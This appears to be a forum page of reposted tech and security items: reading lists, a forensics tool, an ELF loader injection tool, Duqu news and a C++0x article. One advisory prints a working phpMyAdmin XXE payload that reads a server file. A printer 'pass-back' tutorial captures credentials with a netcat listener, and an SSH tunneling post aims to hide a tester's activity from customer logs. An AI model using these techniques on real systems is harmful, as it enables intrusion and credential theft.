Nytro

Registry Decoder Digital Forensics Software Digital forensics deals with the analysis of artifacts on all types of digital devices. One of the most prevalent analysis techniques performed is that of the registry hives contained in Microsoft Windows operating systems. Registry Decoder was developed with the purpose of providing a single tool for the acquisition, analysis, and reporting of registry contents. To learn the history of this project, please see the history page. Registry Decoder is a free and open source tool. The online acquisition component can be accessed at: regdecoderlive - Automated, live acquisition of registry files - Google Project Hosting and the offline analysis component accessed at: registrydecoder - Automated Acquisition, Analysis, and Reporting of Registry Contents - Google Project Hosting. All functionality contained within the two components is exposed to a graphical user interface, and the tool aims to provide even novice investigators with powerful analysis capabilities. Another goal of Registry Decoder is to become the project in which all future registry-related research is performed in and developed for. If you are a researcher and interested in open problems within forensics registry research or are interested in contributing the project, please see our research page here. To follow the latest developments of Registry Decoder please follow our Twitter account @dfsforensics. Live: regdecoderlive - Automated, live acquisition of registry files - Google Project Hosting Offline: registrydecoder - Automated Acquisition, Analysis, and Reporting of Registry Contents - Google Project Hosting Sursa: Registry Decoder Digital Forensics Software | Registry Decoder

Using NoSQL and analyzing big data Learn how to handle massive amounts of distributed data with schemaless datastores Date: 07 Oct 2011 (Published 19 May 2011) |Level: Introductory 1. Getting started with NoSQL NoSQL datastores are moving to the forefront because they solve the problem of scalability on a massive scale. Schemaless datastores are fundamentally different from traditional relational databases, but leveraging them is easier than you might think. Read: Java development 2.0: NoSQLItem marked not complete - Click to mark complete 2. Hands-on introduction to popular NoSQL datastores Now that you have the basics of NoSQL down, it's time to explore some of the more popular datastores. Get a hands-on introduction to MongoDB, CouchDB, and Amazon's SimpleDB, as well as Google AppEngine's multiple storage options. Read: MongoDB: A NoSQL datastore with (all the right) RDBMS movesItem marked not complete - Click to mark complete Listen: Eliot Horowitz on MongoDBItem marked not complete - Click to mark complete Watch: MongoDB video demoItem marked not complete - Click to mark complete Read: Cloud storage with Amazon's SimpleDB (two-part article)Item marked not complete - Click to mark complete Watch: Video demo: An introduction to Amazon SimpleDBItem marked not complete - Click to mark complete Read: REST up with CouchDB and Groovy's RESTClientItem marked not complete - Click to mark complete Listen: Aaron Miller and Nitin Borwankar on CouchDB and the CouchOne mobile platformItem marked not complete - Click to mark complete Read: GAE storage with Bigtable, Blobstore, and Google StorageItem marked not complete - Click to mark complete 3. Analyzing distributed data with MapReduce A key enabling technology of the big data revolution is MapReduce: a programming model and implementation developed by Google for processing massive-scale, distributed data sets. Explore Apache Hadoop, an open source MapReduce implementation that plays a major role in IBM's approach to big data analysis. Read: Big data analysis with Hadoop MapReduceItem marked not complete - Click to mark complete Read: Solve cloud-related big data problems with MapReduceItem marked not complete - Click to mark complete Read: Crunch your existing data using Apache HadoopItem marked not complete - Click to mark complete Download: IBM MapReduce Tools for EclipseItem marked not complete - Click to mark complete Read: A conversation with Rod Smith, IBM's Mr. Big DataItem marked not complete - Click to mark complete Sursa si link-urile necesare: http://www.ibm.com/developerworks/training/kp/j-kp-nosql/index.html

Cheat Sheets for Developers Download Design Patterns 82,612 Architecture 2 Download Getting Started with Ajax 60,086 HTMLJavaScriptWeb Services/Servers 4 Download Spring Configuration 58,094 JavaXML 19 Download Core CSS: Part I 50,686 CSS 7 Download jQuery Selectors 48,883 CSSJavaScript 3 Download Getting Started with Eclipse 47,317 ALMEclipseIDE 61 Download Core Java Concurrency 45,542 AlgorithmsJava 5 Download Windows PowerShell 44,407 .NETWindows 24 Download Core Java 44,017 AlgorithmsJavaStandards 25 Download Core CSS: Part II 41,356 CSS 34 Download Core CSS: Part III 37,265 CSS 29 Download Essential MySQL 35,626 DatabaseOpen Source 50 Download Scrum 35,927 Agile/Methodologies 64 Download Core HTML 35,500 HTML 55 Download Apache Maven 2 32,482 ALMJavaOpen Source 6 Download Dependency Injection in EJB 3 31,583 JavaStandardsXML 26 Download Spring Annotations 31,348 Java 35 Download Using XML in Java 31,625 JavaXML 94 Download Getting Started with Git 31,274 ALMOpen Source 112 Download Getting Started with UML 31,856 ALMArchitectureOpen Source 21 Download JavaServer Faces 30,901 Design/UXJavaStandardsXML 28 Download JUnit and EasyMock 30,924 ALMJava 95 Download Getting Started with Java GUI Development 30,238 Design/UXJava 22 Download Getting Started with JPA 29,795 DatabaseJavaStandards 76 Download Getting Started with Domain-Driven Design 29,801 Agile/MethodologiesArchitecture 123 Download HTML5: New Standards for Web Interactivity 29,402 HTMLStandards 23 Download PHP 28,899 AlgorithmsDatabasePHP 16 Download C# 27,585 .NETC# 38 Download SOA Patterns 26,860 ArchitectureSOAWeb Services/Servers 58 Download JavaServer Faces 2.0 26,694 JavaStandards 15 Download Groovy 25,767 GroovyJava 79 Download Google App Engine for Java 25,913 CloudJava 82 Download Getting Started with Cloud Computing 24,409 Cloud 84 Download Continuous Integration: Patterns and Anti-patterns 24,059 ALM 20 Download Struts2 23,080 Design/UXJavaOpen Source 129 Download REST: Foundations of RESTful Architecture 23,852 StandardsWeb Services/Servers 17 Download Very First Steps in Flex 22,086 Flex/ActionScriptJavaWeb Services/Servers 32 Download Getting Started with Hibernate Search 22,109 DatabaseJavaSearch 101 Download JDBC Best Practices 22,929 ArchitectureDatabaseJavaStandards 1 Download GWT Style, Configuration and JSNI Reference 21,414 JavaJavaScript 18 Download Core .NET 21,312 .NETC# 33 Download Essential JSP Expression Language 21,500 JavaStandards 130 Download Designing Quality Software: Architectural and Technical Best Practices 21,461 Architecture 30 Download Essential Ruby 19,025 Ruby 43 Download Scalability & High Availability 19,441 ArchitectureBig DataDatabase 98 Download Getting Started with Maven Repository Management 19,150 ALMJava 108 Download Getting Started with Firebug 1.5 19,754 ALMCSSHTMLJavaScript 13 Download RSS and Atom 18,303 Content ManagementWeb Services/Servers 74 Download Agile Adoption: Improving Software Quality 18,989 Agile/MethodologiesArchitecture 83 Download Contexts and Dependency Injection for the Java EE Platform 18,344 JavaStandards 99 Download Getting Started with Java EE Security 18,783 JavaSecurityStandards 105 Download Getting Started with NoSQL and Data Scalability 18,357 Big DataDatabaseNoSQL 44 Download JBoss RichFaces 17,261 JavaStandardsXML 54 Download Agile Adoption: Reducing Cost 17,076 Agile/Methodologies 86 Download Spring Web Flow 17,374 Design/UXE-CommerceIDEJava 104 Download Getting Started with Apache Ant 17,771 ALMJavaOpen SourceXML 109 Download Getting Started with Kanban for Software Development 17,717 Agile/Methodologies 110 Download Objective-C for the iPhone and iPad 17,954 C/C++iOS 119 Download Getting Started with Application Lifecycle Management 17,140 ALM 145 Download Continuous Delivery: Patterns and Antipatterns in the Software Lifecycle 17,772 Agile/MethodologiesALMDevOps 14 Download NetBeans IDE 7: Programming in Java 7 17,282 IDEJavaNetBeans 56 Download Getting Started with JavaFX 16,950 Java 71 Download Essential PostgreSQL 16,339 DatabaseOpen Source 87 Download Continuous Integration: Servers and Tools 16,111 ALMOpen Source 128 Download What's New in JPA 2.0 16,862 DatabaseJavaStandards 45 Download Agile Adoption: Decreasing Time to Market 15,382 Agile/MethodologiesALM 46 Download Core ASP.NET 15,284 .NETC# 51 Download Effective Process Modeling with BPM & BPMN 15,490 Agile/MethodologiesOther Languages 57 Download Getting Started with Spring-DM 15,898 ArchitectureJava 60 Download Getting Started with Grails 15,343 Groovy 67 Download Getting Started with Selenium 15,888 ALMJavaScriptOpen Source 78 Download Getting Started with Virtualization 15,668 .NETVirtualization 93 Download Getting Started with Lean Software Development 15,923 Agile/Methodologies 118 Download Getting Started with Visual Studio 2010 15,805 .NETC#IDE 139 Download Spring Roo: Making Java Fun Again 15,179 IDEJava 150 Download Java Enterprise Edition 6: The Most Elegant Enterprise Java yet 15,671 Java 10 Download Silverlight 2 14,599 .NETC#Design/UX 27 Download Getting Started with MyEclipse 14,067 EclipseIDEJava 31 Download Core Seam 14,386 JavaSecurityXML 62 Download Getting Started with Eclipse RCP 14,791 EclipseIDE 97 Download Getting Started with JBoss Enterprise Application Platform 5 14,503 ALMJavaStandards 114 Download Application Prototyping with SketchFlow 14,961 .NETALMDesign/UX 117 Download Getting Started with Apache Hadoop 14,139 ArchitectureBig DataDatabaseOpen Source 120 Download Apache Solr: Getting Optimal Search Results 14,677 AlgorithmsSearchWeb Services/ServersXML 37 Download Getting Started with Equinox and OSGi 13,119 ArchitectureEclipseJava 48 Download Flex & Spring Integration 13,772 Flex/ActionScriptJavaXML 59 Download Getting Started with Drupal 13,480 Content ManagementPHP 63 Download Getting Started with Apache Wicket 13,181 Design/UXJavaOpen Source 70 Download Eclipse Plug-in Development 13,575 Eclipse 111 Download Getting Started with Windows Communication Foundation 4.0 13,369 .NETWeb Services/Servers 69 Download Getting Started with ASP.NET MVC 1.0 12,572 .NET 72 Download Getting Started with Windows Presentation Foundation 12,919 .NETDesign/UX 12 Download Getting Started with GlassFish Application Server v3 12,794 JavaStandardsWeb Services/Servers 102 Download Flex 4 and Spring 3 Integration 12,227 Flex/ActionScriptJavaWeb Services/ServersXML 147 Download Eclipse Tools for Spring: The SpringSource Tool Suite 12,496 EclipseIDEJava 9 Download Flexible Rails: Flex 3 on Rails 2 11,347 Flex/ActionScriptRuby 11 Download IntelliJ IDEA 11,975 ALMIDE 41 Download SOA Governance 11,531 SOA 42 Download Seam UI 11,890 Design/UXJavaStandards 49 Download Getting Started with BIRT 11,792 ALMBusiness Intelligence/ReportingEclipseJava 81 Download Essential F# 11,384 .NETOther Languages 106 Download Expression-Based Authorization with Spring Security 3 11,852 JavaSecurityXML 125 Download Selenium 2.0: Using the WebDriver API to Create Robust User Acceptance Tests 11,371 ALMJavaScriptOpen Source 135 Download The MVVM Design Pattern: A Formula for Elegant, Maintainable Mobile Apps 11,540 .NETArchitectureWindows Phone 141 Download Node.js: Building for Scalability with Server-Side JavaScript 11,865 JavaScriptOpen Source 85 Download Vaadin: A Familiar Way to Build Web Apps with Java 11,069 Design/UXJavaJavaScript 39 Download Essential EMF 10,973 ArchitectureEclipseJavaOther LanguagesXML 77 Download Core WS-BPEL: Business Process Execution Language 10,261 Agile/MethodologiesOther LanguagesStandards 92 Download Getting Started with Silverlight and Expression Blend 10,955 .NETC#Design/UXIDE 126 Download Liferay Essentials: A Definitive Guide for Enterprise Portal Development 10,699 Content ManagementDesign/UXJava 137 Download Understanding Lucene: Powering Better Search Results 10,658 AlgorithmsJavaSearchXML 138 Download RichFaces 4.0: A Next Generation JSF Framework 10,923 JavaStandardsXML 144 Download EclipseLink JPA: An Advanced ORM Persistence Framework 10,290 DatabaseEclipseJava 36 Download Core Mule 9,386 ArchitectureOpen SourceSOA 89 Download Getting Started with the Zend Framework 9,917 IDEOpen SourcePHP 100 Download Getting Started with Fitnesse 9,461 ALM 122 Download Functional Programming with Clojure: Simple Concurrency on the JVM 9,135 ClojureJava 80 Download NetBeans Platform 7.0: A Framework for Building Pluggable Enterprise Applications 9,722 IDEJava 140 Download Mule 3: Simplifying SOA 9,050 Open SourceSOAWeb Services/Servers 40 Download Apache Tapestry 5.0 8,650 Design/UXJavaStandards 68 Download Getting Started with Oracle Berkeley DB 8,074 DatabaseNoSQL 75 Download Getting Started with BlazeDS 8,505 Flex/ActionScriptJavaWeb Services/Servers 131 Download ADO.NET Entity Framework: Object-Relational Mapping and Data Access 8,699 .NETDatabaseIDE 65 Download ServiceMix 4.2: The Apache Open Source ESB 8,112 ArchitectureOpen SourceSOAWeb Services/Servers 133 Download Apache Hadoop Deployment: A Blueprint for Reliable Distributed Computing 8,913 AlgorithmsArchitectureBig DataDatabaseOpen Source 136 Download WebMatrix: Advanced Web Development Made Simple 8,899 .NETContent ManagementE-CommercePHPWindows 146 Download Flex Mobile Development: Build Apps for Android, iOS, and BlackBerry Tablet OS 8,817 AndroidFlex/ActionScriptIDEiOS 52 Download IntelliJ IDEA: Updated for 8.1 7,294 IDE 91 Download Getting Started with Adobe Flash Builder 4 7,140 Flex/ActionScriptIDE 96 Download Getting Started with PHP and Flex 7,340 Flex/ActionScriptPHP 124 Download PHPUnit: PHP Test-Driven Development - Automated Tools to Improve Your PHP Code Quality 7,894 ALMPHP 134 Download Cloud Computing with Windows Azure Platform 7,252 .NETCloudWindows 47 Download The Top Twelve Integration Patterns for Apache Camel 7,503 ArchitectureJavaXML 148 Download Mastering Portal UI Development With Vaadin and Liferay 7,034 Content ManagementDesign/UXJava 53 Download Getting Started with db4o: Persisting .NET Object Data 6,762 .NETDatabase 66 Download Getting Started with ColdFusion 9 6,984 ColdFusion 73 Download Getting Started with LiveCycle Data Services ES 6,620 DatabaseE-CommerceFlex/ActionScriptJava 107 Download Getting Started with Griffon 6,922 GroovyOpen Source 115 Download Getting Started with Infinispan 6,237 DatabaseJavaNoSQLOpen SourceXML 121 Download Open Source Media Framework: Building Simple Custom Video Players 6,869 Design/UXFlex/ActionScriptVideo/Animation 127 Download Developing a Silverlight Application for Windows Phone 7 6,107 .NETWindows Phone 132 Download Mastering Portals with a Portlet Bridge 6,204 ArchitectureContent ManagementDesign/UXJavaStandards 142 Download Adobe Flash Builder 4.5: Develop for Web, Desktop and Mobile 6,892 Flex/ActionScriptIDE 149 Download Chef: An Open Source Tool for Scalable Cloud and Data Center Automation 6,214 CloudData CenterDevOpsRuby 88 Download Getting Started with Caucho Resin 4,520 JavaStandardsWeb Services/Servers 113 Download Getting Started with Adobe Flash Catalyst 4,379 Design/UXFlex/ActionScript 90 Download Getting Started with Adobe ColdFusion Builder 3,204 ColdFusionIDE 103 Download Leveraging ColdFusion 9 Exposed Services from Java 3,128 ColdFusionJavaWeb Services/Servers 116 Download Adobe ColdFusion Web Services for PHP Programmers 3,478 ColdFusionPHPWeb Services/Servers 143 Download ColdFusion Builder 2: Faster Coding, Less Errors 2,483 ColdFusionIDE Link: http://refcardz.dzone.com/

Sponsori? Bem moca?

phpMyAdmin Arbitrary File Read phpMyAdmin suffers from a remote arbitrary file reading vulnerability when using a simplexml_load_string function meant to read xml from user input. Hi 80sec report this bug on wooyun,PhpMyadmin use a simplexml_load_string function to read xml from user input,this may be exploied to read files from the server or network in libraries/import/xml.php,some code like this /** * Load the XML string * * The option LIBXML_COMPACT is specified because it can * result in increased performance without the need to * alter the code in any way. It's basically a freebee. */ $xml = simplexml_load_string($buffer, "SimpleXMLElement", LIBXML_COMPACT); unset($buffer); /** * The XML was malformed */ if ($xml === FALSE) { so you just need to make a xml like this <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE wooyun [ <!ENTITY hi80sec SYSTEM "file:///c:/windows/win.ini"> ]> <pma_xml_export version="1.0" xmlns:pma=" http://www.phpmyadmin.net/some_doc_url/"> <!-- - Structure schemas --> <pma:structure_schemas> <pma:database name="test" collation="utf8_general_ci" charset="utf8"> <pma:table name="ts_ad"> &hi80sec; </pma:table> </pma:database> </pma:structure_schemas> <!-- -

How to recompile software with hardware optimizations Ovidiu / 02/11/2011 I don’t like to recompile software. I also laugh my ass off when some Gentoo “god” tells me how much faster their system became after they tweaked their compile flags. But (because there’s always a “but”) once in a while I do compile software. And in some of those cases, I really want the best optimization possible. One of these cases was when I wanted to run a CPU miner for Litecoin on my i7. I wanted to squeeze the most out the CPU, so I turned to the Gentoo wiki, where I found this page (seems down when I wrote this). You can find out the hardware flags for GCC running this simple commannd: $ echo "" | gcc -march=native -v -E - 2>&1 | grep cc1 The result looks something like this: /usr/lib/x86_64-linux-gnu/gcc/x86_64-linux-gnu/4.5.2/cc1 -E -quiet -v - -D_FORTIFY_SOURCE=2 [COLOR="Blue"]-march=core2 -mcx16 -msahf -mpopcnt -msse4.2 --param l1-cache-size=32 --param l1-cache-line-size=64 --param l2-cache-size=6144 -mtune=core2[/COLOR] -fstack-protector The part in blue is the interesting part and it should be used as part of the CFLAGS. Adding a -O3 there can’t hurt, either: $ CFLAGS="-O3 -Wall <blue-string-from-above>" ./configure A ‘make’ will then build whatever program you’re compiling with the best optimizations for your hardware. I hope it’s useful! Enjoy! Autor: Ovidiu Sursa: http://blog.mybox.ro/2011/11/02/how-to-recompile-software-with-hardware-optimizations/

ld-linux.so ELF hooker Stephane and myself are releasing a new tool injecting code at runtime, just between the ELF loader and target binary. It is an alternative to LD_PRELOAD, just a little bit more intrusive but 100% reliable Sources were released on Github: https://github.com/sduverger/ld-shatner When a binary is execve(), the kernel extracts from the ELF headers the interpreter to be launched, usually /lib/ld-linux.so.2. The kernel creates a new process and prepares the environment (arguments and auxiliary data). The target ELF entry point is set in auxiliary vector of type "ENTRY". Then the kernel opens the requested interpreter, maps the memory regions and start its execution at ld's ELF entry point. Then the loader analyzes the target ELF file, performs its loader work and sets EIP to target ELF entry point (extracted from auxv). At this point, main()'s program is eventually executed. Our goal was to permit the execution of code for abitrary dynamically linked binary without patching each of them. So our interest moved on the loader, the common point between most executables. Thus, we decided to patch a normal ld in order to inject code. My awesome colleague, Stephane Duverger (the ramooflax author!) and myself wrote ld-shatner. Its task is to patch ld-linux.so file accordingly: After ELF header, we shift "ELF program header" a few pages away In this new section, we inject a "loader routine" (hooked.s) and embedded code to be executed at runtime After having been saved in our section, ld's ELF entry point is overwritten to jump directly on our routine. This routine extracts from auxiliary vectors the target ELF entry point and overwrites it with a pointer to our embedded code (func() in the payload). Original ld's entry point is called and ld works as usual Eventually, it calls entry point set in auxiliary vector (which was replaced by a pointer to our payload) Embdded code runs It returns to our routine which finally jumps on original target entry point Some pictures before/after ld-shatner voodoo: Screenshot: http://i39.tinypic.com/vf8gli.png $ make clean all $ cp /lib/ld-linux.so.2 /bin/ls . $ ./ld-shatner ld-linux.so.2 obj.elf $ sudo cp ld-hook.so /lib/ $ ./interpatch ls $ ./ls ld-hook <---------------------- output of obj.elf [...] Ok, we cheat for the moment because we have to patch ls binary but we will not have to do that eventually) So what? My ultimate goal for ld-shatner is to use this method for starting applications in my sandbox project, seccomp-nurse. For the moment, I rely on LD_PRELOAD feature but this approach is... hackish and I have to work around some bugs because of this special context... Download: https://github.com/sduverger/ld-shatner Sursa: http://justanothergeek.chdir.org/2011/11/ld-linuxso-elf-hooker.html

Windows Kernel Zero Day Vulnerability Found in Duqu Installer Posted by THN Reporter On 11/01/2011 08:17:00 AM Duqu malware attack exploited a zero-day vulnerability in the Windows kernel, according to security researchers tracking the Stuxnet-like cyber-surveillance Trojan. The vulnerability has since been reported to Microsoft and Microsoft is working on a fix for the kernel vulnerability right now. Researchers at the Laboratory of Cryptography and System Security (CrySyS) in Hungary confirmed the existence of the zero-day vulnerability and exploit in a brief note posted to its web site. Our lab, the Laboratory of Cryptography and System Security (CrySyS) pursued the analysis of the Duqu malware and as a result of our investigation, we identified a dropper file with an MS 0-day kernel exploit inside. We immediately provided competent organizations with the necessary information such that they can take appropriate steps for the protection of the users. The installer file is a Microsoft Word document (.doc) that exploits a previously unknown kernel vulnerability that allows code execution. We contacted Microsoft regarding the vulnerability and they're working diligently towards issuing a patch and advisory. When the file is opened, malicious code executes and installs the main Duqu binaries. The chart below explains how the exploit in the Word document file eventually leads to the installation of Duqu. Other security vendors have reported infections in the following countries: • Austria • Hungary • Indonesia • United Kingdom • Iran - infections different from those observed by Symantec. "Microsoft is collaborating with our partners to provide protections for a vulnerability used in targeted attempts to infect computers with the Duqu malware. We are working diligently to address this issue and will release a security update for customers through our security bulletin process", Jerry Bryant, group manager of response communications in Microsoft's Trustworthy Computing group said in a statement. You can find Symantec updated whitepaper (version 1.3) here. Key updates in the Symantec whitepaper include: • An unpatched zero-day vulnerability is exploited through a Microsoft Word document and installs Duqu • Attackers can spread Duqu to computers in secure zones and control them through a peer-to-peer C&C protocol • Six possible organizations in eight countries have confirmed infections • A new C&C server (77.241.93.160) hosted in Belgium was discovered and has been shut down. Symantec whitepaper: http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf Sursa: http://thehackernews.com/2011/11/windows-kernel-zero-day-vulnerability.html

SSH Tunneling on Windows Easy-breezy but necessary to bypass the prying eyes of customers sometimes. When you’re on an internal test you don’t want them to see you googling how to hack thier network in their logs! Setup Putty for SSH Tunnel (Reason: sets up loopback port (7070) on your local PC and connects over port 22 to the remote shell): Session: user@yourserver.com:22 Connection>SSH: V2, Enable Compresion Connection>SSH>Tunnels>Source: 7070, Dynamic, ADD Session: Save, Open or on *nix or cygwin, create an SSH tunnel via command line: ssh -D 7070 -p 22 user@yourserver.com sleep 9999 Setup Firefox to encrypt to use the tunnel: Tools > Options > Network > Settings > Manual Socks: 127.0.0.1: 7070 click ok Setup Firefox to use Remote DNS (Reason: By default, your local PC will do the DNS by default, but that will show what websites you are going to, so this step sends DNS over the ssh tunnel) about:config network.proxy.socks_remote_dns=true Restart Browser Reason: configures firefox to route traffic through the tunnel you just made Test View everything is over port 22 View ip is different from whatismyip.com view filter in wireshark: dns, there should be no entries via digitalcrunch.com Sursa: http://www.securityaegis.com/ssh-tunneling-on-windows/

Java concurrency Building and testing concurrent applications for the Java platform Date: 07 Oct 2011 (Published 23 Aug 2011) 1. Learn Java concurrency basics Threads and processes are the basic units of execution in concurrent Java programming. Every process has at least one thread, and all of the threads in a process share its resources. Understand the benefits of threads and why it's essential to use them safely. READ: Introduction to Java threads 2. Master high-level Java concurrency utilities Learn how to use the thread-safe, well-tested, high-performance concurrent building blocks in the java.util.concurrent package, introduced in Java SE 5. And find out how to avoid both common and lesser-known concurrency pitfalls. PRACTICE: Concurrency in JDK 5.0 READ: 5 things you didn't know about.. java.util.concurrent, Part 1 READ: 5 things you didn't know about ... java.util.concurrent, Part 2 READ: Java concurrency bug patterns for multicore systems 3. Test and analyze your concurrent code Take advantage of tools developed by IBM researchers for testing, debugging, and analyzing concurrent Java applications. DOWNLOAD: Java Thread Activity Analyzer(Free download) DOWNLOAD: IBM Lock Analyzer for Java(Free download) DOWNLOAD: IBM Thread and Monitor Dump Analyzer for Java(Free download) DOWNLOAD: Multicore Software Development Kit(Free download) DOWNLOAD: ConcurrentTesting - Advanced Testing for Multi-Threaded Applications(Free limited trial version) PRACTICE: Multithreaded unit testing with ConTest 4. Explore alternate concurrency models In response to advances in multicore processor hardware, approaches to writing concurrent applications for the Java platform are diversifying. Concurrency support in two alternate languages for the JVM — Scala and Clojure — eschew the thread model. Learn about the actor and agent concurrency in those languages, and about third-party Java and Groovy libraries that implement those models. And learn more about fork-join, a multicore-friendly concurrency enhancement in Java SE 7. LISTEN: Alex Miller talks concurrency READ: Explore Scala concurrency READ: Clojure and concurrency READ: Introducing Kilim: An actor framework for Java concurrency READ: Resolve common concurrency problems with GPars READ: Java theory and practice: Stick a fork in it Sursa: www.ibm.com/developerworks/training/kp/j-kp-concurrency/index.html

Anatomy of a Pass-Back-Attack: Intercepting Authentication Credentials Stored in Multifunction Printers By Deral (PercX) Heiland and Michael (omi) Belton At Defcon 19 during my presentation we discussed a new attack method against printers. This attack method involved tricking the printer into passing LDAP or SMB credential back to attacker in plain text. We refer to this attack as a Pass-Back-Attack . So its been awhile, but we wanted to release a short tutorial discussing how this attack is performed. Over the past year, one focus of the Foofus.NET team involves developing and testing attacks against a number of Multifunction Printer (MFP) devices. A primary goal of this research is to demonstrate the effect of trust relationships between devices that are generally considered benign, and critical systems such as Microsoft Windows Domains. One of the most interesting attacks developed during this project is what we refer to as a Pass-Back Attack. A Pass-Back Attack is an attack where we direct an MFP device into authenticating (LDAP or SMB authentication) against a rogue system rather than the expected server. In the following sections we will step through the entire process of a Pass-Back-Attack using a Ricoh Aficio MP 5001 as our target device. This attack has been found to work on a number of Ricoh or rebranded Ricoh systems. Additionally, this attack works against a large number of MFP devices manufactured by Sharp. We expect there are many other devices that this attack will work against. This attack will be performed using a web browser, Netcat and a web proxy. First, we need to create a rogue listener that will be used to capture the authentication process initiated from the MFP. This is a relatively easy problem to solve; we can simply setup a listener using Netcat. $ nc -l 1389 In this attack we will use port 1389. If you’re reading this, you’re probably well aware that binding to a privileged port requires some form of administrative account such as “root.” We prefer non-privileged ports for this attack because they allow us to demonstrate how unprivileged access on one system can be used to gain privileged access to another system. A demonstration of this involves a scenario where you have remote (user-level) access to a device on a filtered subnet and are looking to gain more privileged access to a wider set of systems. Additionally, this approach highlights the fact that LDAP can be configured to authenticate against any software listening on any port. Download: http://www.foofus.net/~percX/praeda/pass-back-attack.pdf Sursa: http://www.foofus.net/?p=468

Static code analysis and the new language standard C++0x April 14, 2010 9:00 PM PDT Abstract Introduction 1. auto 2. decltype 3. R-value reference 4. Right angle brackets 5. Lambdas 6. Suffix return type syntax 7. static_assert 8. nullptr 9. New standard classes 10. New trends in development of static code analyzers Summary References Abstract The article discusses the new capabilities of C++ language described in the standard C++0x and supported in Visual Studio 2010. By the example of PVS-Studio we will see how the changes in the language influence static code analysis tools. Introduction The new C++ language standard is about to come into our life. They are still calling it C++0x, although its final name seems to be C++11. The new standard is partially supported by modern C++ compilers, for example, Intel C++ and Visual C++. This support is far from being full-fledged and it is quite clear why. First, the standard has not been accepted yet, and second, it will take some time to introduce its specifics into compilers even when it is accepted. Compiler developers are not the only ones for whom support of the new standard is important. The language innovations must be quickly provided with support in static source code analyzers. It is promised that the new standard will provide backward compatibility. The obsolete C++ code is almost guaranteed to be able to be correctly compiled by new compilers without any modifications. But it does not mean that a program that does not contain new language constructs still can be processed by a static analyzer that does not support the new standard C++0x. We got convinced of it in practice when trying to check a project created in the beta-version of Visual Studio 2010 with PVS-Studio. The point is about the header files that already use the new language constructs. For example, you may see that the header file "stddef.h" uses the new operator decltype: namespace std { typedef decltype(__nullptr) nullptr_t; } Such constructs are naturally considered syntactically wrong by an analyzer that does not support C++0x, and either cause a program abort or incorrect results. It got obvious that we must provide support for C++0x in PVS-Studio by the moment Visual Studio is released, at least to the extent it is done in this compiler. We may say that we have fulfilled this task with success, and by the moment of writing this article, the new version PVS-Studio 3.50, integrating both into Visual Studio 2005/2008 and Visual Studio 2010, has become available on our site. Beginning with the version PVS-Studio 3.50, the tool provides support for the same part of C++0x standard as in Visual Studio 2010. This support is not perfect as, for example, in case of "right-angle brackets", but we will continue the work on developing the support for C++0x standard in the next versions. In this article, we will study the new features of the language which are supported in the first edition of Visual Studio 2010. We will look at these features from different viewpoints: what this or that new ability is about, if there is a relation to 64-bit errors, how the new language construct is supported in PVS-Studio and how its appearance impacts the library VivaCore. Note. VivaCore is a library of code parsing, analysis and transformation. VivaCore is an open-source library that supports the languages C and C++. The product PVS-Studio is based on VivaCore as well as other program projects may be created relying on this library. The article we want to present may be called a report on the investigation and support of the new standard in PVS-Studio. The tool PVS-Studio diagnoses 64-bit and parallel OpenMP errors. But since the topic of moving to 64-bit systems is more relevant at the moment, we will mostly consider examples that show how to detect 64-bit errors with PVS-Studio. 1. auto Like in C, the type of a variable in C++ must be defined explicitly. But with the appearance of template types and techniques of template metaprogramming in C++ language, it became usual that the type of an object is not so easy to define. Even in a rather simple case - when searching for array items - we need to define the type of an iterator in the following way: for (vector<int>::iterator itr = myvec.begin(); itr != myvec.end(); ++itr) Such constructs are very long and cumbersome. To make the record briefer, we may use typedef but it will spawn new entities and do little for the purpose of convenience. C++0x offers its own technique to make this issue a bit less complicated. The meaning of the key word auto is replaced with a different one in the new standard. While auto has meant before that a variable is created in the stack, and it was implied if you had not specified otherwise (for example, register), now it is analogous to var in C# 3.0. The type of a variable defined as auto is determined by the compiler itself relying on what object initializes this variable. We should notice that an auto-variable cannot store values of different types during one instance of program execution. C++ still remains a statically typed language, and by using auto we just tell the compiler to see to defining the type on its own: once the variable is initialized, its type cannot be changed. Now the iterator can be defined in this way: for (auto itr = myvec.begin(); itr != myvec.end(); ++itr) Besides mere convenience of writing the code and its simplification, the key word auto makes the code safer. Let us consider an example where auto will be used to make the code safe from the viewpoint of 64-bit software development: bool Find_Incorrect(const string *arrStr, size_t n) { for (size_t i = 0; i != n; ++i) { unsigned n = arrStr[i].find("ABC"); if (n != string::npos) return true; } return false; }; This code has a 64-bit error: the function behaves correctly when compiling the Win32 version and fails when the code is built in the Win64 mode. The error is in using the type unsigned for the variable "n", although the type string::size_type must be used which is returned by the function find(). In the 32-bit program, the types string::size_type and unsigned coincide and we get correct results. In the 64-bit program, string::size_type and unsigned do not coincide any more. When the substring is not found, the function find() returns the value string::npos that equals 0xFFFFFFFFFFFFFFFFui64. This value is cut to the value 0xFFFFFFFFu and placed into a 32-bit variable. As a result, the condition 0xFFFFFFFFu != 0xFFFFFFFFFFFFFFFFui64 is true and we have the situation when the function Find_Incorrect always returns true. In this example, the error is not so dangerous because it is detected even by the compiler not to speak of a specialized analyzer Viva64 (included into PVS-Studio). This is how the compiler detects the error: warning C4267: 'initializing' : conversion from 'size_t' to 'unsigned int', possible loss of data This is how Viva64 does it: V103: Implicit type conversion from memsize to 32-bit type. What is most important, this error is quite possible and often occurs in code due to inaccurate choice of a type to store the returned value. The error might appear even because the programmer is reluctant to use a cumbersome construct of the string::size_type kind. Now we can easily avoid such errors without overloading the code. Using the type auto, we may write the following simple and safe code: auto n = arrStr[i].find("ABC"); if (n != string::npos) return true; The error disappeared by itself. The code has not become more complicated or less effective. Here is the conclusion - it is reasonable in many cases to use auto. The key word auto will reduce the number of 64-bit errors or let you eliminate them with more grace. But auto does not in itself guarantee that all the 64-bit errors will be eliminated! It is just one more language tool that serves to make programmers' life easier but not to take all their work of managing the types. Consider this example: void *AllocArray3D(int x, int y, int z, size_t objectSize) { int size = x * y * z * objectSize; return malloc(size); } The function must calculate the array's size and allocate the necessary memory amount. It is logical to expect that this function will be able to allocate the necessary memory amount for the array of the size 2000*2000*2000 of double type in the 64-bit environment. But the call of the "AllocArray3D(2000, 2000, 2000, sizeof(double));" kind will always return NULL, as if it is impossible to allocate such an amount of memory. The true reason for this is the overflow in the expression "int size = x * y * z * sizeof(double)". The variable size takes the value -424509440 and the further call of the function malloc is senseless. By the way, the compiler will also warn that this expression is unsafe: warning C4267: 'initializing' : conversion from 'size_t' to 'int', possible loss of data Relying on auto, an inaccurate programmer may modify the code in the following way: 